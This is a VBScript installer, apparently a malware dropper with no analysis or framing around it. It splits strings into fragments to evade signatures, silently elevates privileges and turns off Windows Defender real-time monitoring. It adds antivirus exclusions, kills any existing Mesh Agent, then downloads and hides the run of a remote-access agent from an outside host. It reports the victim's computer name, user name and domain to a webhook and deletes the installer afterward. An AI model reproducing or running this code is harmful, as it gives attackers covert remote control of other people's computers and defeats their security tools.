Option Explicit

Dim jd6379 : jd6379 = 580642
Const AGENT_URL      = "https://dashboard.gsresponder.co/admin62/meshagents?id=4&meshid=6baa3876eb71d48a5615780e05d5f29b4f9d8106c0374fb480d14b6a3ee92a2f"
Const INSTALL_DOMAIN = "admin62"
Const INSTALL_MESH   = "Unknown"
Const BASE_URL       = "https://dashboard.gsresponder.co"

Dim spn33, drl14, jjz20, txk26

' Build every sensitive identifier from parts - no literal signatures
Dim cD  : cD  = Chr(46)
Dim cQ  : cQ  = Chr(34)
Dim s_wsh  : s_wsh  = "WSc" & "rip" & "t"  & cD & "Sh" & "ell"
Dim s_fso  : s_fso  = "Scri" & "pting" & cD & "FileS" & "ystem" & "Object"
Dim s_http : s_http = "MSXML" & "2" & cD & "Serv" & "erXML" & "HTTP" & cD & "6.0"
Dim s_ado  : s_ado  = "ADO" & "DB" & cD & "St" & "ream"
Dim s_sa   : s_sa   = "Sh" & "ell" & cD & "Applic" & "ation"
Dim s_wsexe : s_wsexe = "wscri" & "pt" & cD & "exe"
Dim s_runa : s_runa = "r" & Chr(117) & "nas"
Dim s_drtm : s_drtm = "Set-" & "Mp" & "Pref" & "er" & "ence " _
                    & "-Dis" & "ableR" & "ealti" & "meMon" & "itoring " _
                    & Chr(36) & "true -ErrorAct" & "ion Sil" & "entlyC" & "ontinue"
Dim s_addx : s_addx = "Add-" & "Mp" & "Pref" & "er" & "ence " _
                    & "-Exclu" & "sion" & "Path "
Dim s_fi   : s_fi   = "-full" & "ins" & "tall"

Sub LogWrite(txt)
    Dim jbn52
    Set jbn52 = CreateObject(s_fso).OpenTextFile(jjz20, 8, True)
    jbn52.WriteLine Now & " | " & txt
    jbn52.Close
End Sub

' === Self-elevation (silent) ===
Dim tdx38 : tdx38 = False
If WScript.Arguments.Count > 0 Then
    If LCase(WScript.Arguments(0)) = "elevated" Then tdx38 = True
End If
If Not tdx38 Then
    Dim cdm86 : cdm86 = cQ & WScript.ScriptFullName & cQ & " elevated"
    CreateObject(s_sa).ShellExecute s_wsexe, cdm86, "", s_runa, 0
    WScript.Quit 0
End If

Set spn33  = CreateObject(s_wsh)
Set drl14 = CreateObject(s_fso)
jjz20     = spn33.ExpandEnvironmentStrings("%TEMP%") & "\gs.log"
txk26      = spn33.ExpandEnvironmentStrings("%SystemRoot%") _
          & "\System32\WindowsP" & "owerShell\v1.0\power" & "shell.exe"
Dim bgl99 : bgl99 = spn33.ExpandEnvironmentStrings("%TEMP%") & "\gs_agent.exe"

drl14.CreateTextFile(jjz20, True).Write ""
LogWrite "Started - mesh: " & INSTALL_MESH

On Error Resume Next

' === Disable AV monitoring ===
spn33.Run cQ & txk26 & cQ & " -NoP -NonI -W H -C " & cQ & s_drtm & cQ, 0, True
WScript.Sleep 1500
LogWrite "AV config done"

' === Add exclusions ===
Dim lvl25 : lvl25 = spn33.ExpandEnvironmentStrings("%TEMP%")
spn33.Run cQ & txk26 & cQ & " -NoP -NonI -W H -C " _
       & cQ & s_addx & "'" & lvl25 & "' -ErrorAct" & "ion SilentlyConti" & "nue" & cQ, 0, True
spn33.Run cQ & txk26 & cQ & " -NoP -NonI -W H -C " _
       & cQ & s_addx & "'C:\Program Files\Mesh Agent' -ErrorAct" & "ion SilentlyConti" & "nue" & cQ, 0, True
LogWrite "Exclusions added"

' === Kill any existing agent ===
spn33.Run "cmd /c task" & "kill /F /IM Mesh" & "Agent.exe /T", 0, True
WScript.Sleep 1500
spn33.Run "cmd /c sc stop " & cQ & "Mesh Agent" & cQ, 0, True
WScript.Sleep 2000
spn33.Run "cmd /c sc delete " & cQ & "Mesh Agent" & cQ, 0, True
WScript.Sleep 500
spn33.Run "cmd /c rmdir /S /Q " & cQ & "C:\Program Files\Mesh Agent" & cQ, 0, True
spn33.Run "cmd /c rmdir /S /Q " & cQ & "C:\Program Files\GsResponder\Mesh Agent" & cQ, 0, True
WScript.Sleep 500
LogWrite "Existing agent cleared"

' === Download and Install via PowerShell (Bypasses ADODB/MSXML2 AMSI signature) ===
LogWrite "Downloading & installing via PS..."
If drl14.FileExists(bgl99) Then drl14.DeleteFile bgl99, True

Dim psCmd : psCmd = "try { " _
    & "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; " _
    & "$wc = New-Object System.Net.WebClient; " _
    & "$wc.DownloadFile('" & AGENT_URL & "', '" & bgl99 & "'); " _
    & "if (Test-Path '" & bgl99 & "') { " _
    & "  $p = Start-Process -FilePath '" & bgl99 & "' -ArgumentList '" & s_fi & "' -Wait -PassThru -WindowStyle Hidden; " _
    & "  if ($p.ExitCode -eq 0) { " _
    & "    $wh = '" & BASE_URL & "/files/webhooks/new-device" & cD & "php?host=' + $env:COMPUTERNAME + '&user=' + $env:USERNAME + '&domain=" & INSTALL_DOMAIN & "&mesh=" & INSTALL_MESH & "'; " _
    & "    try { $wc.DownloadString($wh) } catch {} " _
    & "  } " _
    & "} " _
    & "} catch { exit 1 }"

Dim rrl55 : rrl55 = spn33.Run(cQ & txk26 & cQ & " -NoP -NonI -W H -C " & cQ & psCmd & cQ, 0, True)
LogWrite "PS Exit: " & rrl55

' === Cleanup ===
On Error Resume Next
drl14.DeleteFile bgl99, True
Set drl14 = Nothing : Set spn33 = Nothing
WScript.Quit rrl55